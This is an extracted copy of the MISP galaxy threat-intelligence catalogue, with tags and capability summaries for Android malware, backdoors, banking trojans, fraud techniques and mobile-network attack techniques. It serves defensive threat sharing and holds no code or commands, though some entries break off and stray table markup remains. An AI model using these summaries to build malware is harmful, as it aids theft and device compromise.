Introduction

The MISP threat sharing platform is a free and open source software helping information sharing of threat intelligence including cyber security indicators, financial fraud or counter-terrorism information. The MISP project includes multiple sub-projects to support the operational requirements of analysts and improve the overall quality of information shared.

MISP galaxy is a simple method to express a large object called cluster that can be attached to MISP events or attributes. A cluster can be composed of one or more elements. Elements are expressed as key-values. There are default vocabularies available in MISP galaxy but those can be overwritten, replaced or updated as you wish. Existing clusters and vocabularies can be used as-is or as a template. MISP distribution can be applied to each cluster to permit a limited or broader distribution scheme. The following document is generated from the machine-readable JSON describing the MISP galaxy.
Funding and Support

The MISP project is financially and resource supported by CIRCL Computer Incident Response Center Luxembourg.

A CEF (Connecting Europe Facility) funding under CEF-TC-2016-3 - Cyber Security has been granted from 1st September 2017 until 31th August 2019 as Improving MISP as building blocks for next-generation information sharing.

Co-financed by the European Union
Connecting Europe Facility

If you are interested to co-fund projects around MISP, feel free to get in touch with us.
MISP galaxy

Android

Android malware galaxy based on multiple open sources.

Android is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Unknown

CopyCat

CopyCat is a fully developed malware with vast capabilities, including rooting devices, establishing persistency, and injecting code into Zygote – a daemon responsible for launching apps in the Android operating system – that allows the malware to control any activity on the device.

The tag is: misp-galaxy:android="CopyCat"

Table 1. Table References

Andr/Dropr-FH

Andr/Dropr-FH can silently record audio and video, monitor texts and calls, modify files, and ultimately spawn ransomware.

The tag is: misp-galaxy:android="Andr/Dropr-FH"

Andr/Dropr-FH is also known as:

- GhostCtrl

Andr/Dropr-FH has relationships with:

- similar: misp-galaxy:malpedia="GhostCtrl" with estimative-language:likelihood-probability="likely"

Table 2. Table References

Judy

The malware, dubbed Judy, is an auto-clicking adware which was found on 41 apps developed by a Korean company. The malware uses infected devices to generate large amounts of fraudulent clicks on advertisements, generating revenues for the perpetrators behind it.

The tag is: `misp-galaxy:android="Judy"`

</tr>
</tbody>
</table>

RedAlert2

The trojan waits in hiding until the user opens a banking or social media app. When this happens, the trojan shows an HTML-based overlay on top of the original app, alerting the user of an error, and asking to reauthenticate. Red Alert then collects the user's credentials and sends them to its C&C server.

The tag is: `misp-galaxy:android="RedAlert2"`

RedAlert2 has relationships with:

- similar: `misp-galaxy:malpedia="RedAlert2"` with `estimative-language:likelihood-probability="likely"`

Tizi

Tizi is a fully featured backdoor that installs spyware to steal sensitive data from popular social media applications. The Google Play Protect security team discovered this family in September 2017 when device scans found an app with rooting capabilities that exploited old vulnerabilities. The team used this app to find more applications in the Tizi family, the oldest of which is from October 2015. The Tizi app developer also created a website and used social media to encourage more app installs from Google Play and third-party websites.
DoubleLocker

DoubleLocker can change the device’s PIN, preventing victims from accessing their devices, and also encrypts the data requesting a ransom. It will misuse accessibility services after being installed by impersonating the Adobe Flash player - similar to BankBot.

The tag is: `misp-galaxy:android="DoubleLocker"`

DoubleLocker has relationships with:

- similar: `misp-galaxy:malpedia="DoubleLocker"` with `estimative-language:likelihood-probability="likely"`

Svpeng

Svpeng is a Banking trojan which acts as a keylogger. If the Android device is not Russian, Svpeng will ask for permission to use accessibility services. In abusing this service it will gain administrator rights allowing it to draw over other apps, send and receive SMS and take screenshots when keys are pressed.

The tag is: `misp-galaxy:android="Svpeng"`

Svpeng is also known as:

- Invisible Man

Svpeng has relationships with:

- similar: `misp-galaxy:tool="Svpeng"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="Svpeng"` with `estimative-language:likelihood-probability="likely"`
LokiBot

LokiBot is a banking trojan for Android 4.0 and higher. It can steal the information and send SMS messages. It has the ability to start web browsers, and banking applications, along with showing notifications impersonating other apps. Upon attempt to remove it will encrypt the devices' external storage requiring Bitcoins to decrypt files.

The tag is: `misp-galaxy:android="LokiBot"`

LokiBot has relationships with:

- similar: `misp-galaxy:malpedia="Loki Password Stealer (PWS)"` with `estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:malpedia="LokiBot"` with `estimative-language:likelihood-probability="likely"

</tr>
</tbody>
</table>

BankBot

The main goal of this malware is to steal banking credentials from the victim's device. It usually impersonates flash player updaters, android system tools, or other legitimate applications.

The tag is: `misp-galaxy:android="BankBot"`

BankBot has relationships with:

- similar: `misp-galaxy:malpedia="Anubis"` with `estimative-language:likelihood-probability="likely"

</tbody>
</table>

Viking Horde

In rooted devices, Viking Horde installs software and executes code remotely to get access to the mobile data.

The tag is: `misp-galaxy:android="Viking Horde"`
**HummingBad**

A Chinese advertising company has developed this malware. The malware has the power to take control of devices; it forces users to click advertisements and download apps. The malware uses a multistage attack chain.

The tag is: `misp-galaxy:android="HummingBad"`

HummingBad has relationships with:

- similar: `misp-galaxy:mitre-malware="HummingBad - S0322"` with estimative-language:likelihood-probability="likely"

**Ackposts**

Ackposts is a Trojan horse for Android devices that steals the Contacts information from the compromised device and sends it to a predetermined location.

The tag is: `misp-galaxy:android="Ackposts"`

**Wirex**

Wirex is a Trojan horse for Android devices that opens a backdoor on the compromised device which then joins a botnet for conducting click fraud.

The tag is: `misp-galaxy:android="Wirex"`
**WannaLocker**

WannaLocker is a strain of ransomware for Android devices that encrypts files on the device’s external storage and demands a payment to decrypt them.

The tag is: `misp-galaxy:android="WannaLocker"`

---

**Switcher**

Switcher is a Trojan horse for Android devices that modifies Wi-Fi router DNS settings. Swticher attempts to infiltrate a router’s admin interface on the devices’ WIFI network by using brute force techniques. If the attack succeeds, Switcher alters the DNS settings of the router, making it possible to reroute DNS queries to a network controlled by the malicious actors.

The tag is: `misp-galaxy:android="Switcher"`

Switcher has relationships with:

- similar: `misp-galaxy:malpedia="Switcher"` with `estimative-language:likelihood-probability="likely"`

---

**Vibleaker**

Vibleaker was an app available on the Google Play Store named Beaver Gang Counter that contained malicious code that after specific orders from its maker would scan the user’s phone for the Viber app, and then steal photos and videos recorded or sent through the app.

The tag is: `misp-galaxy:android="Vibleaker"`
ExpensiveWall

ExpensiveWall is Android malware that sends fraudulent premium SMS messages and charges users accounts for fake services without their knowledge.

The tag is: `misp-galaxy:android="ExpensiveWall"`

Table 17. Table References

GM Bot

GM Bot – also known as Acecard, SlemBunk, or Bankosy – scams people into giving up their banking log-in credentials and other personal data by displaying overlays that look nearly identical to banking apps log-in pages. Subsequently, the malware intercepts SMS to obtain two-factor authentication PINs, giving cybercriminals full access to bank accounts.
The tag is: misp-galaxy:android="GM Bot"

GM Bot is also known as:

- Acecard
- SlemBunk
- Bankosy

GM Bot has relationships with:

- similar: misp-galaxy:tool="Slempo" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Bankosy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Slempo" with estimative-language:likelihood-probability="likely"

</tbody>
</table>

Adwind

Adwind is a backdoor written purely in Java that targets system supporting the Java runtime environment. Commands that can be used, among other things, to display messages on the system, open URLs, update the malware, download/execute files, and download/load plugins. According to the author, the backdoor component can run on Windows, Mac OS, Linux and Android platforms providing rich capabilities for remote control, data gathering, data exfiltration and lateral movement.

The tag is: misp-galaxy:android="Adwind"

Adwind is also known as:
- AlienSpy
- Frutas
- Unrecom
- Sockrat
- Jsocket
- jRat
- Backdoor:Java/Adwind

Adwind has relationships with:

RevMob is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="RevMob"`

**Roidsec**

Roidsec is a Trojan horse for Android devices that steals confidential information.

The tag is: `misp-galaxy:android="Roidsec"`

**Rootcager**

Rootcager is a Trojan horse that steals information from Android devices.

The tag is: `misp-galaxy:android="Rootcager"`

**Rootnik**

Rootnik is a Trojan horse for Android devices that steals information and downloads additional apps.

The tag is: `misp-galaxy:android="Rootnik"`

Rootnik has relationships with:

- similar: `misp-galaxy:malpedia="Rootnik"` with `estimative-language:likelihood-82`
Rufraud

Rufraud is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers.

The tag is: `misp-galaxy:android="Rufraud"`

Rusms

Rusms is a Trojan horse for Android devices that sends SMS messages and steals information from the compromised device.

The tag is: `misp-galaxy:android="Rusms"`

Samsapo

Samsapo is a worm for Android devices that spreads by sending SMS messages to all contacts stored on the compromised device. It also opens a back door and downloads files.

The tag is: `misp-galaxy:android="Samsapo"`

Sandorat

Sandorat is a Trojan horse for Android devices that opens a back door on the compromised device. It also steals information.

The tag is: `misp-galaxy:android="Sandorat"`
**Sberick**

Sberick is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: `misp-galaxy:android="Sberick"`

**Scartibro**

Scartibro is a Trojan horse for Android devices that locks the compromised device and asks the user to pay in order to unlock it.

The tag is: `misp-galaxy:android="Scartibro"`

**Scipiex**

Scipiex is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: `misp-galaxy:android="Scipiex"`

**Selfmite**

Selfmite is a worm for Android devices that spreads through SMS messages.

The tag is: `misp-galaxy:android="Selfmite"`
Selfmite.B

Selfmite.B is a worm for Android devices that displays ads on the compromised device. It spreads through SMS messages.

The tag is: misp-galaxy:android="Selfmite.B"

SellARing

SellARing is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="SellARing"

SendDroid

SendDroid is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="SendDroid"

Simhosy

Simhosy is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Simhosy"

Simplocker

Simplocker is a Trojan horse for Android devices that may encrypt files on the compromised
device. It then asks the user to pay in order to decrypt these files.

The tag is: misp-galaxy:android="Simplocker"

ZestAdz

ZestAdz is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="ZestAdz"`

Zeusmitmo

Zeusmitmo is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: `misp-galaxy:android="Zeusmitmo"`

SLocker

The SLocker family is one of the oldest mobile lock screen and file-encrypting ransomware and used to impersonate law enforcement agencies to convince victims to pay their ransom.

The tag is: `misp-galaxy:android="SLocker"`

SLocker is also known as:
Loapi

A malware strain known as Loapi will damage phones if users don't remove it from their devices. Left to its own means, this modular threat will download a Monero cryptocurrency miner that will overheat and overwork the phone's components, which will make the battery bulge, deform the phone's cover, or even worse. Discovered by Kaspersky Labs, researchers say Loapi appears to have evolved from Podec, a malware strain spotted in 2015.

The tag is: misp-galaxy:android="Loapi"

Podec

Late last year, we encountered an SMS Trojan called Trojan-SMS.AndroidOS.Podec which used a very powerful legitimate system to protect itself against analysis and detection. After we removed the protection, we saw a small SMS Trojan with most of its malicious payload still in development. Before long, though, we intercepted a fully-fledged version of Trojan-SMS.AndroidOS.Podec in early 2015. The updated version proved to be remarkable: it can send messages to premium-rate numbers employing tools that bypass the Advice of Charge system (which notifies users about the price of a service and requires authorization before making the payment). It can also subscribe users to premium-rate services while bypassing CAPTCHA. This is the first time Kaspersky Lab has encountered this kind of capability in any Android-Trojan.

The tag is: misp-galaxy:android="Podec"

Chamois

Chamois is one of the largest PHA families in Android to date and is distributed through multiple channels. While much of the backdoor version of this family was cleaned up in 2016, a new variant
emerged in 2017. To avoid detection, this version employs a number of techniques, such as implementing custom code obfuscation, preventing user notifications, and not appearing in the device's app list. Chamois apps, which in many cases come preloaded with the system image, try to trick users into clicking ads by displaying deceptive graphics to commit WAP or SMS fraud.

The tag is: `misp-galaxy:android="Chamois"`

**Table 415. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**IcicleGum**

IcicleGum is a spyware PHA family whose apps rely on versions of the Igexin ads SDK that offer dynamic code-loading support. IcicleGum apps use this library's code-loading features to fetch encrypted DEX files over HTTP from command-and-control servers. The files are then decrypted and loaded via class reflection to read and send phone call logs and other data to remote locations.

The tag is: `misp-galaxy:android="IcicleGum"`

IcicleGum has relationships with:

- similar: `misp-galaxy:android="Igexin"` with `estimative-language:likelihood-probability="likely"`

**BreadSMS**

BreadSMS is a large SMS-fraud PHA family that we started tracking at the beginning of 2017. These apps compose and send text messages to premium numbers without the user's consent. In some cases, BreadSMS apps also implement subscription-based SMS fraud and silently enroll users in services provided by their mobile carriers. These apps are linked to a group of command-and-control servers whose IP addresses change frequently and that are used to provide the apps with premium SMS numbers and message text.

The tag is: `misp-galaxy:android="BreadSMS"`

</tr>
</thead>
</table>
JamSkunk

JamSkunk is a toll-fraud PHA family composed of apps that subscribe users to services without their consent. These apps disable Wi-Fi to force traffic to go through users’ mobile data connection and then contact command-and-control servers to dynamically fetch code that tries to bypass the network’s WAP service subscription verification steps. This type of PHA monetizes their abuse via WAP billing, a payment method that works through mobile data connections and allows users to easily sign up and pay for new services using their existing account (i.e., services are billed directly by the carrier, and not the service provider; the user does not need a new account or a different form of payment). Once authentication is bypassed, JamSkunk apps enroll the device in services that the user may not notice until they receive and read their next bill.

</tbody>
</table>

Expensive Wall

Expensive Wall is a family of SMS-fraud apps that affected a large number of devices in 2017. Expensive Wall apps use code obfuscation to slow down analysis and evade detection, and rely on the JS2Java bridge to allow JavaScript code loaded inside a Webview to call Java methods the way Java apps directly do. Upon launch, Expensive Wall apps connect to command-and-control servers to fetch a domain name. This domain is then contacted via a Webview instance that loads a webpage and executes JavaScript code that calls Java methods to compose and send premium SMS messages or click ads without users’ knowledge.

The tag is: \textit{misp-galaxy:android="Expensive Wall"}

</tr>
</tbody>
</table>

BambaPurple

BambaPurple is a two-stage toll-fraud PHA family that tries to trick users into installing it by disguising itself as a popular app. After install, the app disables Wi-Fi to force the device to use its 3G connection, then redirects to subscription pages without the user’s knowledge, clicks subscription buttons using downloaded JavaScript, and intercepts incoming subscription SMS messages to prevent the user from unsubscribing. In a second stage, BambaPurple installs a backdoor app that requests device admin privileges and drops a .dex file. This executable checks to make sure it is not being debugged, downloads even more apps without user consent, and displays
KoreFrog

KoreFrog is a family of trojan apps that request permission to install packages and push other apps onto the device as system apps without the user’s authorization. System apps can be disabled by the user, but cannot be easily uninstalled. KoreFrog apps operate as daemons running in the background that try to impersonate Google and other system apps by using misleading names and icons to avoid detection. The KoreFrog PHA family has also been observed to serve ads, in addition to apps.

The tag is: misp-galaxy:android="KoreFrog"

Gaiaphish

Gaiaphish is a large family of trojan apps that target authentication tokens stored on the device to abuse the user's privileges for various purposes. These apps use base64-encoded URL strings to avoid detection of the command-and-control servers they rely on to download APK files. These files contain phishing apps that try to steal GAIA authentication tokens that grant the user permissions to access Google services, such as Google Play, Google+, and YouTube. With these tokens, Gaiaphish apps are able to generate spam and automatically post content (for instance, fake app ratings and comments on Google Play app pages).

The tag is: misp-galaxy:android="Gaiaphish"

RedDrop

RedDrop can perform a vast array of malicious actions, including recording nearby audio and uploading the data to cloud-storage accounts on Dropbox and Google Drive.

The tag is: misp-galaxy:android="RedDrop"
**HenBox**

HenBox apps masquerade as others such as VPN apps, and Android system apps; some apps carry legitimate versions of other apps which they drop and install as a decoy technique. While some of legitimate apps HenBox uses as decoys can be found on Google Play, HenBox apps themselves are found only on third-party (non-Google Play) app stores. HenBox apps appear to primarily target the Uyghurs – a Turkic ethnic group living mainly in the Xinjiang Uyghur Autonomous Region in North West China. HenBox has ties to infrastructure used in targeted attacks, with a focus on politics in South East Asia. These attackers have used additional malware families in previous activity dating to at least 2015 that include PlugX, Zupdax, 9002, and Poison Ivy. HexBox apps target devices made by Chinese consumer electronics manufacture, Xiaomi and those running MIUI, Xiaomi's operating system based on Google Android. Furthermore, the malicious apps register their intent to process certain events broadcast on compromised devices in order to execute malicious code. This is common practice for many Android apps, however, HenBox sets itself up to trigger based on alerts from Xiaomi smart-home IoT devices, and once activated, proceeds in stealing information from a myriad of sources, including many mainstream chat, communication and social media apps. The stolen information includes personal and device information.

The tag is: `misp-galaxy:android="HenBox"`

**MysteryBot**

Cybercriminals are currently developing a new strain of malware targeting Android devices which blends the features of a banking trojan, keylogger, and mobile ransomware.

The tag is: `misp-galaxy:android="MysteryBot"`

Skygofree

At the beginning of October 2017, we discovered new Android spyware with several features previously unseen in the wild. In the course of further research, we found a number of related samples that point to a long-term development process. We believe the initial versions of this malware were created at least three years ago – at the end of 2014. Since then, the implant’s functionality has been improving and remarkable new features implemented, such as the ability to record audio surroundings via the microphone when an infected device is in a specified location; the stealing of WhatsApp messages via Accessibility Services; and the ability to connect an infected device to Wi-Fi networks controlled by cybercriminals. We observed many web landing pages that mimic the sites of mobile operators and which are used to spread the Android implants. These domains have been registered by the attackers since 2015. According to our telemetry, that was the year the distribution campaign was at its most active. The activities continue: the most recently observed domain was registered on October 31, 2017. Based on our KSN statistics, there are several infected individuals, exclusively in Italy. Moreover, as we dived deeper into the investigation, we discovered several spyware tools for Windows that form an implant for exfiltrating sensitive data on a targeted machine. The version we found was built at the beginning of 2017, and at the moment we are not sure whether this implant has been used in the wild. We named the malware Skygofree, because we found the word in one of the domains.

The tag is: `misp-galaxy:android="Skygofree"`

Skygofree has relationships with:

Phishing

In the context of ATT&CK for Fraud, phishing is described as the sending of fraudulent emails to a large audience in order to obtain sensitive information (PII, credentials, payment information). Phishing is never targeted to a specific individual or organisation. Phishing tries to create a sense of urgency or curiosity in order to capture the victim.

The tag is: `misp-galaxy:financial-fraud="Phishing"`

### Spear phishing

Spear phishing is the use of targeted emails to gain the trust of the target with the goal of committing fraud. Spear phishing messages are generally specific to the target and show an understanding of the target’s organisation structure, supply chain or business.

The tag is: `misp-galaxy:financial-fraud="Spear phishing"`

### ATM skimming

ATM Skimming refers to the act of capturing the data stored on a bank cards (tracks) and the Personal Identification Number (PIN) associated to that card. Upon obtaining the data, the criminal proceeds to encode the same information into a new card and use it in combination with the PIN to
perform illicit cash withdrawals. ATM Skimming is often achieved with a combination of a skimmer device for the card and a camera to capture the PIN.

The tag is: misp-galaxy:financial-fraud="ATM skimming"

### ATM Shimming

ATM Shimming refers to the act of capturing a bank card data accessing the EMV chip installed on the card while presenting the card to a ATM. Due to their low profile, shimmers can be fit inside ATM card readers and are therefore more difficult to detect.

The tag is: misp-galaxy:financial-fraud="ATM Shimming"

**Backdoor**

A list of backdoor malware...

Backdoor is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

**WellMess**

Cross-platform malware written in Golang, compatible with Linux and Windows. Although there are some minor differences, both variants have the same functionality. The malware communicates with a CnC server using HTTP requests and performs functions based on the received commands. Results of command execution are sent in HTTP POST requests data (RSA-encrypted). Main functionalities are: (1) Execute arbitrary shell commands, (2) Upload/Download files. The PE variant of the infection, in addition, executes PowerShell scripts. A .Net version was also observed in the wild.

The tag is: *misp-galaxy:backdoor=*/"WellMess"

</tr>
</tbody>
</table>

**Rosenbridge**

The rosenbridge backdoor is a small, non-x86 core embedded alongside the main x86 core in the CPU. It is enabled by a model-specific-register control bit, and then toggled with a launch-instruction. The embedded core is then fed commands, wrapped in a specially formatted x86 instruction. The core executes these commands (which we call the 'deeply embedded instruction set'), bypassing all memory protections and privilege checks.
While the backdoor should require kernel level access to activate, it has been observed to be enabled by default on some systems, allowing any unprivileged code to modify the kernel.

The rosenbridge backdoor is entirely distinct from other publicly known coprocessors on x86 CPUs, such as the Management Engine or Platform Security Processor; it is more deeply embedded than any known coprocessor, having access to not only all of the CPU’s memory, but its register file and execution pipeline as well.

The tag is: misp-galaxy:backdoor="Rosenbridge"

ServHelper

The purpose of the macro was to download and execute a variant of ServHelper that set up reverse SSH tunnels that enabled access to the infected host through the Remote Desktop Protocol (RDP) port 3389.

"Once ServHelper establishes remote desktop access, the malware contains functionality for the threat actor to “hijack” legitimate user accounts or their web browser profiles and use them as they see fit," researchers from Proofpoint explain in an analysis released today.

The other ServHelper variant does not include the tunneling and hijacking capabilities and functions only as a downloader for the FlawedGrace RAT.

The tag is: misp-galaxy:backdoor="ServHelper"

Rising Sun

The Rising Sun backdoor uses the RC4 cipher to encrypt its configuration data and communications. As with most backdoors, on initial infection, Rising Sun will send data regarding the infected system to a command and control (C2) site. That information captures computer and user name, IP address, operating system version and network adapter information. Rising Sun contains 14 functions including executing commands, obtaining information on disk drives and running processes, terminating processes, obtaining file creation and last access times, reading and writing

118
files, deleting files, altering file attributes, clearing the memory of processes and connecting to a specified IP address.

The tag is: *misp-galaxy:backdoor="Rising Sun"*

## SLUB

A new backdoor was observed using the Github Gist service and the Slack messaging system as communication channels with its masters, as well as targeting a very specific type of victim using a watering hole attack. The backdoor dubbed SLUB by the Trend Micro Cyber Safety Solutions Team who detected it in the wild is part of a multi-stage infection process designed by capable threat actors who programmed it in C++. SLUB uses statically-linked curl, boost, and JsonCpp libraries for performing HTTP request, "extracting commands from gist snippets," and "parsing Slack channel communication." The campaign recently observed by the Trend Micro security researchers abusing the Github and Slack uses a multi-stage infection process.

The tag is: *misp-galaxy:backdoor="SLUB"*

SLUB has relationships with:

Speculoos

FreeBSD-based payload, Speculoos was delivered by exploiting CVE-2019-19781, a vulnerability affecting the Citrix Application Delivery Controller, Citrix Gateway, and Citrix SD-WAN WANOP appliances that allowed an adversary to remotely execute arbitrary commands. This vulnerability was first disclosed on December 17, 2019 via security bulletin CTX267679 which contained several mitigation recommendations. By January 24, 2020, permanent patches for the affected appliances were issued. Based on the spread of industries and regions, in addition to the timing of the vulnerability disclosure, we believe this campaign may have been more opportunistic in nature compared to the highly targeted attack campaigns that are often associated with these types of adversaries. However, considering the exploitation of the vulnerability in conjunction with delivery of a backdoor specifically designed to execute on the associated FreeBSD operating system indicates the adversary was absolutely targeting the affected devices.

The tag is: `misp-galaxy:backdoor="Speculoos"`

Panda Banker

Zeus like banking trojan that is delivered primarily through malspam emails and exploit kits.

The tag is: misp-galaxy:banker="Panda Banker"

Panda Banker is also known as:

• Zeus Panda

Zeus KINS

Zeus KINS is a modified version of ZeuS 2.0.8.9. It contains an encrypted version of it's config in the registry.

The tag is: misp-galaxy:banker="Zeus KINS"

Zeus KINS is also known as:

• Kasper Internet Non-Security
• Maple

Zeus KINS has relationships with:

• similar: misp-galaxy:malpedia="KINS" with estimative-language:likelihood-probability="likely"

Chthonic

Chthonic according to Kaspersky is an evolution of Zeus VM. It uses the same encryptor as Andromeda bot, the same encryption scheme as Zeus AES and Zeus V2 Trojans, and a virtual machine similar to that used in ZeusVM and KINS malware.
The tag is: `misp-galaxy:banker="Chthonic"`

Chthonic is also known as:

- Chtonic

Chthonic has relationships with:

- similar: `misp-galaxy:malpedia="Chthonic"` with `estimative-language:likelihood-probability="likely"`

**Trickbot**

Trickbot is a bot that is delivered via exploit kits and malspam campaigns. The bot is capable of downloading modules, including a banker module. Trickbot also shares roots with the Dyre banking trojan.

The tag is: `misp-galaxy:banker="Trickbot"`

Trickbot is also known as:

- Trickster
- Trickloader

Trickbot has relationships with:

- similar: `misp-galaxy:tool="Trick Bot"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="TrickBot"` with `estimative-language:likelihood-probability="likely"`

Dyre

Dyre is a banking trojan distributed via exploit kits and malspam emails primarily. It has a modular architecture and utilizes man-in-the-browser functionality. It also leverages a backconnect server that allows threat actors to connect to a bank website through the victim’s computer.

The tag is: `misp-galaxy:banker="Dyre"

Dyre is also known as:
- Dyreza

Dyre has relationships with:
- similar: `misp-galaxy:mitre-malware="Dyre - S0024"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:malpedia="Dyre"` with estimative-language:likelihood-probability="likely"

**IcedID**

According to X-Force research, the new banking Trojan emerged in the wild in September 2017, when its first test campaigns were launched. Our researchers noted that IcedID has a modular malicious code with modern banking Trojan capabilities comparable to malware such as the Zeus Trojan. At this time, the malware targets banks, payment card providers, mobile services providers, payroll, webmail and e-commerce sites in the U.S. Two major banks in the U.K. are also on the target list the malware fetches.

The tag is: *misp-galaxy:banker=“IcedID”*

**downAndExec**

Services like Netflix use content delivery networks (CDNs) to maximize bandwidth usage as it gives users greater speed when viewing the content, as the server is close to them and is part of the Netflix CDN. This results in faster loading times for series and movies, wherever you are in the world. But, apparently, the CDNs are starting to become a new way of spreading malware. The attack chain is very extensive, and incorporates the execution of remote scripts (similar in some respects to the recent “fileless” banking malware trend), plus the use of CDNs for command and control (C&C), and other standard techniques for the execution and protection of malware.
Smominru

Since the end of May 2017, we have been monitoring a Monero miner that spreads using the EternalBlue Exploit (CVE-2017-0144). The miner itself, known as Smominru (aka Ismo) has been well-documented, so we will not discuss its post-infection behavior. However, the miner’s use of Windows Management Infrastructure is unusual among coin mining malware. The speed at which mining operations conduct mathematical operations to unlock new units of cryptocurrency is referred to as “hash power”. Based on the hash power associated with the Monero payment address for this operation, it appeared that this botnet was likely twice the size of Adylkuzz. The operators had already mined approximately 8,900 Monero (valued this week between $2.8M and $3.6M). Each day, the botnet mined roughly 24 Monero, worth an average of $8,500 this week.

Smominru is also known as:

- Ismo
- lsmo

Smominru has relationships with:

- similar: misp-galaxy:malpedia="Smominru" with estimative-language:likelihood-probability="likely"

DanaBot

It’s a Trojan that includes banking site web injections and stealer functions. It consists of a downloader component that downloads an encrypted file containing the main DLL. The DLL, in turn, connects using raw TCP connections to port 443 and downloads additional modules (i.e. VNCDLL.dll, StealerDLL.dll, ProxyDLL.dll)

DanaBot has relationships with:

- similar: misp-galaxy:malpedia="DanaBot" with estimative-language:likelihood-probability="likely"
Backswap

The banker is distributed through malicious email spam campaigns. Instead of using complex process injection methods to monitor browsing activity, the malware hooks key Windows message loop events in order to inspect values of the window objects for banking activity. The payload is delivered as a modified version of a legitimate application that is partially overwritten by the malicious payload.

The tag is: `misp-galaxy:banker="Backswap"`

Bebloh

The tag is: `misp-galaxy:banker="Bebloh"`

Bebloh is also known as:

- URLZone
- Shiotob

### Karius

Trojan under development and already being distributed through the RIG Exploit Kit. Observed code similarities with other well-known bankers such as Ramnit, Vawtrak and TrickBot. Karius works in a rather traditional fashion to other banking malware and consists of three components (`injector32\64.exe`, `proxy32\64.dll` and `mod32\64.dll`), these components essentially work together to deploy webinjests in several browsers.

The tag is: `misp-galaxy:banker="Karius"`

Karius has relationships with:

- similar: `misp-galaxy:malpedia="Karius"` with `estimative-language:likelihood-probability="likely"`

### Kronos

Kronos was a type of banking malware first reported in 2014. It was sold for $7000. As of September 2015, a renew version was reconnecting with infected bots and sending them a brand new configuration file against U.K. banks and one bank in India. Similar to Zeus it was focused on stealing banking login credentials from browser sessions. A new version of this malware appears to have been used in 2018, the main difference is that the 2018 edition uses Tor-hosted C&C control panels.

The tag is: `misp-galaxy:banker="Kronos"`
Kronos has relationships with:

- similar: misp-galaxy:malpedia="Kronos" with estimative-language:likelihood-probability="likely"

authors

Siddharth Prakash Rao - Silke Holtmanns - Tuomas Aura

Attacks from UE

"Attacks from UE" refers to any technique that involves the attacks launched by the software or hardware components of the user equipment to send malicious traffic into the mobile network.

The tag is: `misp-galaxy:bhadra-framework="Attacks from UE"`

SIM-based attacks

The "SIM-based attacks" are the techniques that involve any physical smart cards, namely SIM from 2G, USIM from 3G, and UICC from 4G networks.

The tag is: `misp-galaxy:bhadra-framework="SIM-based attacks"`

Attacks from radio access network

The "attacks from radio access network" are the techniques where an adversary with radio capabilities impersonates the mobile network to the UE (or vice versa) and becomes a man-in-the-middle.

The tag is: `misp-galaxy:bhadra-framework="Attacks from radio access network"`

Attacks from other mobile network

The "attacks from other mobile networks" and the "attacks with physical access to transport network" techniques can be conducted by evil mobile operators, law enforcement agencies for legal interception and human insiders with access to network nodes.

The tag is: `misp-galaxy:bhadra-framework="Attacks from other mobile network"`

Attacks with access to transport network

The "attacks from other mobile networks" and the "attacks with physical access to transport network" techniques can be conducted by evil mobile operators, law enforcement agencies for legal interception and human insiders with access to network nodes.
Attacks from IP-based network

The "attacks from IP-based attacks" techniques mostly are launched from the service and application network, which allows non operator entities to infuse malicious traffic into an operator's network.

Insider attacks and human errors

The "insider attacks and human errors" technique involve the intentional attacks and unintentional mistakes from human insiders with access to any component of the mobile communication ecosystem.

Infecting UE hardware or software

Retaining the foothold gained on the target system through the initial access by infecting UE hardware or software.

Infecting SIM cards

Retaining the foothold gained on the target system through the initial access by infecting SIM cards.

Spoofed radio network

Retaining the foothold gained on the target system through the initial access by radio network spoofing.

Infecting network nodes

Retaining the foothold gained on the target system through the initial access by infecting network nodes.
Covert channels
Retaining the foothold gained on the target system through the initial access via covert channels.
The tag is: misp-galaxy:bhadra-framework="Covert channels"

Port scanning or sweeping
"Port scanning or sweeping" techniques to probe servers or hosts with open ports.
The tag is: misp-galaxy:bhadra-framework="Port scanning or sweeping"

Perimeter mapping
"perimeter mapping" techniques such as command-line utilities (e.g., nmap and whois), web-based lookup tools and official APIs provided by the Internet registrars that assign the ASNs using a wide range of publicly available sources.
The tag is: misp-galaxy:bhadra-framework="Perimeter mapping"

Threat intelligence gathering
"Threat intelligence gathering" using dedicated search engines (such as Censys, Shodan) to gather information about vulnerable devices or networks, or using advanced search options of traditional search engines.
The tag is: misp-galaxy:bhadra-framework="Threat intelligence gathering"

CN-specific scanning
"CN-specific scanning", used to scan nodes that are interconnected with protocols specific to the mobile communication domain (GTP, SCTP).
The tag is: misp-galaxy:bhadra-framework="CN-specific scanning"

Internal resource search
"Internal resource search" refers to an insider with access to provider internal databases abusing the information as a discovery tactic.
The tag is: misp-galaxy:bhadra-framework="Internal resource search"

UE knocking
"UE knocking" refers to the technique that scans User Equipment, similarly to how IP endpoints and core network nodes are scanned or mapped.
Exploit roaming agreements

"Exploit roaming agreements" is a technique exploited by evil mobile operators. Despite communication with operators being dependent on roaming agreements being in place, an attacker that has gained a foothold with one operator, it can abuse the roaming agreements in place for lateral movement with all adjacent operators with agreements in place.

The tag is: misp-galaxy:bhadra-framework="Exploit roaming agreements"

Abusing interworking functionalities

"Abusing Inter-working functionalities" is a technique for adversaries to move between networks of different generations laterally.

The tag is: misp-galaxy:bhadra-framework="Abusing interworking functionalities"

Exploit platform & service-specific vulnerabilities

